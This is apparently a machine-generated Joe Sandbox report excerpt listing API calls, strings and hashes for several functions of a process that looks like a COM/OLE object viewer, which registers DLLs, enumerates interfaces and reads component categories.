#800.MFC42U(00000001,iviewers.dll,00000000,00001804,DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|,?,?,00000004,00000000,?,00000015,?,00000013,00000012), ref: 00B5BDF3
#641.MFC42U(00000001,iviewers.dll,00000000,00001804,DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|,?,?,00000004,00000000,?,00000015,?,00000013,00000012), ref: 00B5BDFE
#4155.MFC42U(00000014), ref: 00B5BE11
#4155.MFC42U(00000013,00000014), ref: 00B5BE1E
#940.MFC42U(?,00000013,00000014), ref: 00B5BE30
#1197.MFC42U(?,00000000,00000000,?,00000013,00000014), ref: 00B5BE3F
FreeLibrary.KERNEL32(00000000,?,00000000,00000000,?,00000013,00000014), ref: 00B5BE4B
RegOpenKeyExW.ADVAPI32(80000000,Interface,00000000,000F003F,?,?,00000004,00000000,?,00000015,?,00000013,00000012), ref: 00B5BE69
StringFromGUID2.OLE32(00B59E6C,?,00000031), ref: 00B5BE84
StringFromGUID2.OLE32(00B59E7C,?,00000031,?,?,00000000,IClientSecurity), ref: 00B5BEAA
StringFromGUID2.OLE32(00B59E8C,?,00000031,?,?,00000000,IServerSecurity), ref: 00B5BED0
StringFromGUID2.OLE32(00B59E5C,?,00000031,?,?,00000000,IMallocSpy), ref: 00B5BEF6
RegCloseKey.ADVAPI32(?,?,?,00000000,IMultiQI), ref: 00B5BF18
#6398.MFC42U(?,Version,0000003D), ref: 00B5BF34
#800.MFC42U(?,Version,0000003D), ref: 00B5BF3F
#800.MFC42U(?,Version,0000003D), ref: 00B5BF4A
#800.MFC42U(?,Version,0000003D), ref: 00B5BF55
#800.MFC42U(?,Version,0000003D), ref: 00B5BF62

Strings

IServerSecurity, xrefs: 00B5BEB0
Interface, xrefs: 00B5BE5F
IClientSecurity, xrefs: 00B5BE8A
IMallocSpy, xrefs: 00B5BED6
DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|, xrefs: 00B5BD39
IVIEWERS.DLL, xrefs: 00B5BC9A
DllRegisterServer, xrefs: 00B5BDC5
Version, xrefs: 00B5BC32, 00B5BF24
iviewers.dll, xrefs: 00B5BD45
IMultiQI, xrefs: 00B5BEFC
Component Categories\%s, xrefs: 00B5BBFE

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #800$#4155$FromString$#540#940$#1197#641Library$#2507#3494#3516#355#538#6398#858AddressCloseFileFreeH_prolog3_LoadModuleNameOpenProcQueryValuelstrcpywcsrchrwsprintf
String ID: Component Categories\%s$DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|$DllRegisterServer$IClientSecurity$IMallocSpy$IMultiQI$IServerSecurity$IVIEWERS.DLL$Interface$Version$iviewers.dll
API String ID: 2887186624-2619698232
Opcode ID: c768efa720c2d1741775f930edc8de77c695c63c48cfb025bd9294eabe983cb7
Instruction ID: 27bdd5109bd11bf311a9159f1b6cf588ec2996e411dcd862db141fea6e7b5ab1
Opcode Fuzzy Hash: c768efa720c2d1741775f930edc8de77c695c63c48cfb025bd9294eabe983cb7
Instruction Fuzzy Hash: 1AA15D32A40218AADB21EB64DC56FDD77B8AB19701F1040E5F60AB70E1DB755F89CF12

Function 00B67A11 Relevance: 94.8, APIs: 33, Strings: 21, Instructions: 294
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CLSIDFromString.OLE32(00000000,?), ref: 00B67A54

Strings

%s\Insertable, xrefs: 00B67E02
2.dll, xrefs: 00B67C0C
Control, xrefs: 00B67CA0
2prox.dll, xrefs: 00B67BF6
(, xrefs: 00B67D53
prx32.dll, xrefs: 00B67B4E
%s\NotInsertable, xrefs: 00B67D91
cnv32.dll, xrefs: 00B67B7A
InprocServer, xrefs: 00B67BC6
CLSID\%s, xrefs: 00B67A80
ToolboxBitmap, xrefs: 00B67EB2
Ole1Class, xrefs: 00B67C49
2disp.dll, xrefs: 00B67C22
ole, xrefs: 00B67B1F, 00B67BDD
InprocServer32, xrefs: 00B67B04
ToolboxBitmap32, xrefs: 00B67E8F
ProgID, xrefs: 00B67D6E
32.dll, xrefs: 00B67B38
Insertable, xrefs: 00B67CF7
aut32.dll, xrefs: 00B67B90
2pr32.dll, xrefs: 00B67B64

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: FromString
String ID: %s\Insertable$%s\NotInsertable$($2.dll$2disp.dll$2pr32.dll$2prox.dll$32.dll$CLSID\%s$Control$InprocServer$InprocServer32$Insertable$Ole1Class$ProgID$ToolboxBitmap$ToolboxBitmap32$aut32.dll$cnv32.dll$ole$prx32.dll
API String ID: 1694596556-344945948
Opcode ID: 660c49da550d351808a674a760577b7a970bd69766b6f614e90a0d917e88dc80
Instruction ID: 78c06145c2ef001351f31c459e491781162c2e7eacf642f63e806ddadab40cfe
Opcode Fuzzy Hash: 660c49da550d351808a674a760577b7a970bd69766b6f614e90a0d917e88dc80
Instruction Fuzzy Hash: 5DD1E5B1984218AFDB20DB64DC8DBD977F8FB1430AF1405E5E919A21A1DB789EC88F50

Function 00B6020E Relevance: 81.2, APIs: 54, Instructions: 192
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#3087.MFC42U(000000B2,00000000,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0), ref: 00B6024A
#6211.MFC42U(000000B2,00000000,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0), ref: 00B60251
#3087.MFC42U(00000089,00000000,000000B2,00000000,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0), ref: 00B6025E
#6211.MFC42U(00000089,00000000,000000B2,00000000,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0), ref: 00B60265
#3087.MFC42U(000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5), ref: 00B60272
#6211.MFC42U(000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5), ref: 00B60279
#3087.MFC42U(0000008B,00000005,000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C), ref: 00B60289
#6211.MFC42U(0000008B,00000005,000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C), ref: 00B60290
#3087.MFC42U(000000B7,00000000,0000008B,00000000,000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,00B5FC41,00000001,00000001), ref: 00B6029D
#6211.MFC42U(000000B7,00000000,0000008B,00000000,000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,00B5FC41,00000001,00000001), ref: 00B602A4
#3087.MFC42U(000000B1,00000000,000000B7,00000000,0000008B,00000000,000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,00B5FC41), ref: 00B602B1
#6211.MFC42U(000000B1,00000000,000000B7,00000000,0000008B,00000000,000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,00B5FC41), ref: 00B602B8
#3087.MFC42U(000000B5,00000000,000000B1,00000000,000000B7,00000000,0000008B,00000000,000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000), ref: 00B602C5
#6211.MFC42U(000000B5,00000000,000000B1,00000000,000000B7,00000000,0000008B,00000000,000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000), ref: 00B602CC
#3087.MFC42U(00001FA5,00000000,000000B5,00000000,000000B1,00000000,000000B7,00000000,0000008B,00000000,000000B6,00000000,00000089,00000000,000000B2,00000000), ref: 00B602D9
#6211.MFC42U(00001FA5,00000000,000000B5,00000000,000000B1,00000000,000000B7,00000000,0000008B,00000000,000000B6,00000000,00000089,00000000,000000B2,00000000), ref: 00B602E0
#3087.MFC42U(000000B2,00000000,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0), ref: 00B602F1
#6211.MFC42U(000000B2,00000000,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0), ref: 00B602F8
#3087.MFC42U(00000089,00000005,000000B2,00000000,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0), ref: 00B60308
#6211.MFC42U(00000089,00000005,000000B2,00000000,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0), ref: 00B6030F
#3087.MFC42U(000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5), ref: 00B6031C
#6211.MFC42U(000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5), ref: 00B60323
#3087.MFC42U(0000008B,00000000,000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C), ref: 00B60330
#6211.MFC42U(0000008B,00000000,000000B6,00000000,00000089,00000000,000000B2,00000000,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C), ref: 00B60337
#3087.MFC42U(000000B2,00000000,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0), ref: 00B60348
#6211.MFC42U(000000B2,00000000,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0), ref: 00B6034F
#3087.MFC42U(00000089,00000000,000000B2,00000000,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0), ref: 00B6035C
#6211.MFC42U(00000089,00000000,000000B2,00000000,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0), ref: 00B60363
#3087.MFC42U(000000B2,00000005,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0), ref: 00B60374
#6211.MFC42U(000000B2,00000005,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0), ref: 00B6037B
#3087.MFC42U(00000089,00000005,000000B2,00000005,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0), ref: 00B60388
#6211.MFC42U(00000089,00000005,000000B2,00000005,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0), ref: 00B6038F
#3087.MFC42U(000000B6,00000005,00000089,00000005,000000B2,00000005,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5), ref: 00B6039C
#6211.MFC42U(000000B6,00000005,00000089,00000005,000000B2,00000005,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C,00000000,00001FA5), ref: 00B603A3
#3087.MFC42U(0000008B,00000000,000000B6,00000005,00000089,00000005,000000B2,00000005,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C), ref: 00B603B0
#6211.MFC42U(0000008B,00000000,000000B6,00000005,00000089,00000005,000000B2,00000005,?,00000000,?,00B5FC41,00000001,00000001,00000000,0000009C), ref: 00B603B7
#3087.MFC42U(000000B7,00000000,0000008B,00000000,000000B6,00000005,00000089,00000005,000000B2,00000005,?,00000000,?,00B5FC41,00000001,00000001), ref: 00B603C4
#6211.MFC42U(000000B7,00000000,0000008B,00000000,000000B6,00000005,00000089,00000005,000000B2,00000005,?,00000000,?,00B5FC41,00000001,00000001), ref: 00B603CB
#3087.MFC42U(000000B1,00000005,000000B7,00000000,0000008B,00000000,000000B6,00000005,00000089,00000005,000000B2,00000005,?,00000000,?,00B5FC41), ref: 00B603D8
#6211.MFC42U(000000B1,00000005,000000B7,00000000,0000008B,00000000,000000B6,00000005,00000089,00000005,000000B2,00000005,?,00000000,?,00B5FC41), ref: 00B603DF
#3087.MFC42U(000000B5,00000005,000000B1,00000005,000000B7,00000000,0000008B,00000000,000000B6,00000005,00000089,00000005,000000B2,00000005,?,00000000), ref: 00B603EC
#6211.MFC42U(000000B5,00000005,000000B1,00000005,000000B7,00000000,0000008B,00000000,000000B6,00000005,00000089,00000005,000000B2,00000005,?,00000000), ref: 00B603F3
#3087.MFC42U(00001FA5,00000005,000000B5,00000005,000000B1,00000005,000000B7,00000000,0000008B,00000000,000000B6,00000005,00000089,00000005,000000B2,00000005), ref: 00B60400
#6211.MFC42U(00001FA5,00000005,000000B5,00000005,000000B1,00000005,000000B7,00000000,0000008B,00000000,000000B6,00000005,00000089,00000005,000000B2,00000005), ref: 00B60407
#3087.MFC42U(0000009C,00000005,00001FA5,00000005,000000B5,00000005,000000B1,00000005,000000B7,00000000,0000008B,00000000,000000B6,00000005,00000089,00000005), ref: 00B60414
#6211.MFC42U(0000009C,00000005,00001FA5,00000005,000000B5,00000005,000000B1,00000005,000000B7,00000000,0000008B,00000000,000000B6,00000005,00000089,00000005), ref: 00B6041B
#3087.MFC42U(000000B1,00000000,0000009C,00000005,00001FA5,00000005,000000B5,00000005,000000B1,00000005,000000B7,00000000,0000008B,00000000,000000B6,00000005), ref: 00B60431
#2634.MFC42U(000000B1,00000000,0000009C,00000005,00001FA5,00000005,000000B5,00000005,000000B1,00000005,000000B7,00000000,0000008B,00000000,000000B6,00000005), ref: 00B60438
#3087.MFC42U(00001FA5,00000000,000000B1,00000000,0000009C,00000005,00001FA5,00000005,000000B5,00000005,000000B1,00000005,000000B7,00000000,0000008B,00000000), ref: 00B60445
#2634.MFC42U(00001FA5,00000000,000000B1,00000000,0000009C,00000005,00001FA5,00000005,000000B5,00000005,000000B1,00000005,000000B7,00000000,0000008B,00000000), ref: 00B6044C
#3087.MFC42U(000000B5,00000000,00001FA5,00000000,000000B1,00000000,0000009C,00000005,00001FA5,00000005,000000B5,00000005,000000B1,00000005,000000B7,00000000), ref: 00B60459
#2634.MFC42U(000000B5,00000000,00001FA5,00000000,000000B1,00000000,0000009C,00000005,00001FA5,00000005,000000B5,00000005,000000B1,00000005,000000B7,00000000), ref: 00B60460
#3087.MFC42U(0000009C,00000000,000000B5,00000000,00001FA5,00000000,000000B1,00000000,0000009C,00000005,00001FA5,00000005,000000B5,00000005,000000B1,00000005), ref: 00B6046D
#2634.MFC42U(0000009C,00000000,000000B5,00000000,00001FA5,00000000,000000B1,00000000,0000009C,00000005,00001FA5,00000005,000000B5,00000005,000000B1,00000005), ref: 00B60474

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #3087$#6211$#2634
String ID:
API String ID: 3514023408-0
Opcode ID: 688f35bf200e3585816cfc7a74ba64ec77871d7808c95518bdd102572500ffc5
Instruction ID: 8a8b9bc10da2ff4349ea9301b896f8ad731e5fbe28b60361301cead4e0e9317d
Opcode Fuzzy Hash: 688f35bf200e3585816cfc7a74ba64ec77871d7808c95518bdd102572500ffc5
Instruction Fuzzy Hash: BA418858B807A426FD193279086BF7E24DA8BD5B85F0044A8B2265F3D3DE5DCE0143BE

Function 00B5FCE0 Relevance: 49.1, APIs: 18, Strings: 10, Instructions: 108
windowlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#4704.MFC42U ref: 00B5FCED
SendMessageW.USER32(?,00000143,00000000,None), ref: 00B5FD06
SendMessageW.USER32(?,00000143,00000000,Both), ref: 00B5FD19
SendMessageW.USER32(?,00000143,00000000,Free), ref: 00B5FD2C
SendMessageW.USER32(?,00000143,00000000,Apartment), ref: 00B5FD3F
SendMessageW.USER32(?,00000143,00000000,Neutral), ref: 00B5FD52
SendMessageW.USER32(?,0000133E,00000000,?), ref: 00B5FD84
SendMessageW.USER32(?,0000133E,00000001,00000001), ref: 00B5FD9E
SendMessageW.USER32(?,0000133E,00000002,00000001), ref: 00B5FDB8
#3087.MFC42U(0000008B,00000000), ref: 00B5FDC6
#2634.MFC42U(0000008B,00000000), ref: 00B5FDCD
#3087.MFC42U(000000A9,00000000,0000008B,00000000), ref: 00B5FDDA
#2634.MFC42U(000000A9,00000000,0000008B,00000000), ref: 00B5FDE1
#3087.MFC42U(000000AC,00000000,000000A9,00000000,0000008B,00000000), ref: 00B5FDEE
#2634.MFC42U(000000AC,00000000,000000A9,00000000,0000008B,00000000), ref: 00B5FDF5
LoadLibraryW.KERNEL32(OLE32.DLL,000000AC,00000000,000000A9,00000000,0000008B,00000000), ref: 00B5FDFF
GetProcAddress.KERNEL32(00000000,CoRegisterSurrogate), ref: 00B5FE11
FreeLibrary.KERNEL32(00000000), ref: 00B5FE26

Strings

Both, xrefs: 00B5FD0C
Free, xrefs: 00B5FD1F
Inproc Handler, xrefs: 00B5FDA7
Inproc Server, xrefs: 00B5FD7D
CoRegisterSurrogate, xrefs: 00B5FE0B
OLE32.DLL, xrefs: 00B5FDFA
None, xrefs: 00B5FCF2
Apartment, xrefs: 00B5FD32
Local Server, xrefs: 00B5FD8D
Neutral, xrefs: 00B5FD45

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: MessageSend$#2634#3087$Library$#4704AddressFreeLoadProc
String ID: Apartment$Both$CoRegisterSurrogate$Free$Inproc Handler$Inproc Server$Local Server$Neutral$None$OLE32.DLL
API String ID: 2746026577-3659237039
Opcode ID: 5ac9e5e1faaf73436e0b7c2e13c94e37e40ba0b60683555aeae0a9368fc290c5
Instruction ID: c495d4941815ba98e75d257a3e8df43700701f4442b4caed5ce581b9a197891a
Opcode Fuzzy Hash: 5ac9e5e1faaf73436e0b7c2e13c94e37e40ba0b60683555aeae0a9368fc290c5
Instruction Fuzzy Hash: 573133316002156BEB216F65DC4EE9F7EFAEF82B51F0100B4BD196A262CFB58945CB60

Function 00B5EAE6 Relevance: 29.8, APIs: 15, Strings: 2, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 00B5EAED
#338.MFC42U(0000000C,00B5EAD7,00000004), ref: 00B5EAF7
#540.MFC42U(0000000C,00B5EAD7,00000004), ref: 00B5EB0B
#860.MFC42U(00B5349E,0000000C,00B5EAD7,00000004), ref: 00B5EB27
#540.MFC42U ref: 00B5EB36
#540.MFC42U ref: 00B5EB42
#4155.MFC42U(00000004), ref: 00B5EB50
#4155.MFC42U(00000008,00000004), ref: 00B5EB5A
#3516.MFC42U(?,?,00000005,00000008,00000004), ref: 00B5EB6E
#861.MFC42U(ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 00B5EB7E
#3516.MFC42U(?,?,00000000,ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 00B5EB8D
#861.MFC42U(ExpertMode,?,?,00000000,ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 00B5EB9D
#3516.MFC42U(?,?,00000001,ExpertMode,?,?,00000000,ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 00B5EBAC
#800.MFC42U(?,?,00000001,ExpertMode,?,?,00000000,ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 00B5EBB7
#800.MFC42U(?,?,00000001,ExpertMode,?,?,00000000,ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 00B5EBBF

Strings

ViewHiddenComCats, xrefs: 00B5EB73
ExpertMode, xrefs: 00B5EB92

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #3516#540$#4155#800#861$#338#860H_prolog3
String ID: ExpertMode$ViewHiddenComCats
API String ID: 3415677798-816868219
Opcode ID: a816dbc2f9b5d98740669161df79fc378a138621807b9afb5d2f855f46999f2d
Instruction ID: 163038e989b86b82422289c8c5771e40b8ced30692667927f9b9c51edb91c4d1
Opcode Fuzzy Hash: a816dbc2f9b5d98740669161df79fc378a138621807b9afb5d2f855f46999f2d
Instruction Fuzzy Hash: FA217C75E007069ADF11EBA0C856BAEB7F1AF64701F100498F4513B3D2DBB95A08CB21

Function 00B67FF0 Relevance: 26.5, APIs: 3, Strings: 12, Instructions: 290
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B69205: SendMessageW.USER32(?,00001109,00B6803D,00000000), ref: 00B69220
Part of subcall function 00B69205: #2857.MFC42U(00000000,?,00B6803D,00000000,F6B930CF), ref: 00B69227

#1662.MFC42U(00000000,F6B930CF), ref: 00B6807F

Part of subcall function 00B5E18B: SendMessageW.USER32(?,0000000B,?,00000000), ref: 00B5E19A

CoCreateInstance.OLE32(00B536E4,00000000,00000001,00B536F4,00000000,00000000,F6B930CF), ref: 00B680AB

Part of subcall function 00B67F0B: SendMessageW.USER32(?,00001132,00000000,00B64852), ref: 00B67F1D

#2644.MFC42U(00000000), ref: 00B68436

Strings

Type Libraries, xrefs: 00B6839E
OLE Embeddable Objects, xrefs: 00B68222
g, xrefs: 00B68103
Application IDs, xrefs: 00B68369
Interfaces, xrefs: 00B683CC
Grouped by Component Category, xrefs: 00B6817B
OLE 1.0 Objects, xrefs: 00B682AC
Object Classes, xrefs: 00B68144
Unclassified Objects, xrefs: 00B6827E
OLE Controls, xrefs: 00B68250
All Objects, xrefs: 00B6830B
COM Library Objects, xrefs: 00B682DA

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: MessageSend$#1662#2644#2857CreateInstance
String ID: All Objects$Application IDs$COM Library Objects$Grouped by Component Category$Interfaces$OLE 1.0 Objects$OLE Controls$OLE Embeddable Objects$Object Classes$Type Libraries$Unclassified Objects$g
API String ID: 2376137332-450955224
Opcode ID: b0c796b3104b5535029bedecd4c5f68bb4fbb4df422be063332677874527e25b
Instruction ID: 72471f7da7a2045c24c01504e431c709dc21e1b0953591784ef62d76ca278a2c
Opcode Fuzzy Hash: b0c796b3104b5535029bedecd4c5f68bb4fbb4df422be063332677874527e25b
Instruction Fuzzy Hash: 9CE1E3B0A10259DFDB14EFE4C899BAEBBF5BF44309F100498E415AB3A1DB799849CF10

Function 00B5F090 Relevance: 25.6, APIs: 17, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#3867.MFC42U(?,00000000,00B5FC3A,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0), ref: 00B5F09C
#3087.MFC42U(000000B3,00000000,?,00000000,00B5FC3A,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0), ref: 00B5F0B2
#2634.MFC42U(000000B3,00000000,?,00000000,00B5FC3A,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0), ref: 00B5F0B9
#3087.MFC42U(000000B4,00000000,000000B3,00000000,?,00000000,00B5FC3A,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0), ref: 00B5F0C6
#2634.MFC42U(000000B4,00000000,000000B3,00000000,?,00000000,00B5FC3A,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0), ref: 00B5F0CD
#3087.MFC42U(00000089,00000000,000000B4,00000000,000000B3,00000000,?,00000000,00B5FC3A,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0), ref: 00B5F0DA
#2634.MFC42U(00000089,00000000,000000B4,00000000,000000B3,00000000,?,00000000,00B5FC3A,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0), ref: 00B5F0E1
#3087.MFC42U(0000008B,00000000,00000089,00000000,000000B4,00000000,000000B3,00000000,?,00000000,00B5FC3A,00000001,00000001,00000000,0000009C,00000000), ref: 00B5F0EE
#2634.MFC42U(0000008B,00000000,00000089,00000000,000000B4,00000000,000000B3,00000000,?,00000000,00B5FC3A,00000001,00000001,00000000,0000009C,00000000), ref: 00B5F0F5
#3087.MFC42U(000000B2,00000000,0000008B,00000000,00000089,00000000,000000B4,00000000,000000B3,00000000,?,00000000,00B5FC3A,00000001,00000001,00000000), ref: 00B5F102
#2634.MFC42U(000000B2,00000000,0000008B,00000000,00000089,00000000,000000B4,00000000,000000B3,00000000,?,00000000,00B5FC3A,00000001,00000001,00000000), ref: 00B5F109
#3087.MFC42U(000000B1,00000000,000000B2,00000000,0000008B,00000000,00000089,00000000,000000B4,00000000,000000B3,00000000,?,00000000,00B5FC3A,00000001), ref: 00B5F116
#2634.MFC42U(000000B1,00000000,000000B2,00000000,0000008B,00000000,00000089,00000000,000000B4,00000000,000000B3,00000000,?,00000000,00B5FC3A,00000001), ref: 00B5F11D
#3087.MFC42U(00001FA5,00000000,000000B1,00000000,000000B2,00000000,0000008B,00000000,00000089,00000000,000000B4,00000000,000000B3,00000000,?,00000000), ref: 00B5F12A
#2634.MFC42U(00001FA5,00000000,000000B1,00000000,000000B2,00000000,0000008B,00000000,00000089,00000000,000000B4,00000000,000000B3,00000000,?,00000000), ref: 00B5F131
#3087.MFC42U(0000009C,00000000,00001FA5,00000000,000000B1,00000000,000000B2,00000000,0000008B,00000000,00000089,00000000,000000B4,00000000,000000B3,00000000), ref: 00B5F13E
#2634.MFC42U(0000009C,00000000,00001FA5,00000000,000000B1,00000000,000000B2,00000000,0000008B,00000000,00000089,00000000,000000B4,00000000,000000B3,00000000), ref: 00B5F145

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #2634#3087$#3867
String ID:
API String ID: 580456896-0
Opcode ID: 39213ee3110f43d3d0ecd1f0379e97f5d0cf9b483d7a920b26feb77acbdc17e6
Instruction ID: cef6a25911950d270f6d55fdbf4ba303597e37c998fe6160b9a4b842d0464e0a
Opcode Fuzzy Hash: 39213ee3110f43d3d0ecd1f0379e97f5d0cf9b483d7a920b26feb77acbdc17e6
Instruction Fuzzy Hash: 4E01E129F5136422DE3A3675086BABE28D74FC2BD0F044498B22A7F2D7DD6DC9019399

Function 00B5DA30 Relevance: 22.6, APIs: 15, Instructions: 127
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#4714.MFC42U ref: 00B5DA47
#2078.MFC42U(00000085,?), ref: 00B5DA60
#2078.MFC42U(00000087,?,00000085,?), ref: 00B5DA71
#2078.MFC42U(00000088,?,00000087,?,00000085,?), ref: 00B5DA84
#2078.MFC42U(0000008B,?,00000088,?,00000087,?,00000085,?), ref: 00B5DA97
#2078.MFC42U(0000008E,?,0000008B,?,00000088,?,00000087,?,00000085,?), ref: 00B5DAAA
GetWindowRect.USER32(?,?), ref: 00B5DABE
GetWindowRect.USER32(?,?), ref: 00B5DAD0

